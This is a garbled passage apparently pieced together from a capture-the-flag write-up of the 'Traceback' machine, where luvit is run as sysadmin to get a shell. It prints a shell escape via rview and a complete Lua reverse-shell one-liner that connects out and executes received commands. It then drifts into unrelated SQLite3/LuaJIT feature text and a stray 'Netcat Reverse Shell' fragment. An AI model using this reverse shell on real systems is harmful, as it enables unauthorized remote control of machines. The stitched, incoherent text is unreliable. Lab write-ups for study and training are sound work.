Since we are able to run luvit as sysadmin , it means that we can run malicious lua scripts as sysadmin and potentially get a shell as sysadmin . So, if we create a lua script file to execute a reverse shell using the ‘luvit’ tool, we should be able to get the sysadmin shell. Using the GTFObins site to find Lua’s reverse shell rview -c ':lua os.execute("reset; exec sh")' Reverse shell.

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require ("socket") local tcp = socket.tcp () local io = require ("io") tcp:connect (host, port); while true do local cmd, status, partial = tcp:receive () local f = io.popen (cmd, 'r') local s = f:read ("*a") f:close () tcp:send (s) if status == "closed" then break end end tcp:close ()'. Traceback was an easy rated Linux machine that required finding a webshell on an already pwned website, using it to upload a php reverse shell, then catching a shell as webadmin. From there, webadmin had access to running luvit as sysadmin so a simple Lua script was used to catch a reverse shell as sysadmin.

Will work without luvit.

all SQLite3 types are supported and mapped to LuaJIT types; efficient implementation via value-binding methods and prepared statements; ability to extend SQLite3 via scalar and aggregate (Lua) callback functions; command-line shell Netcat Reverse Shell.
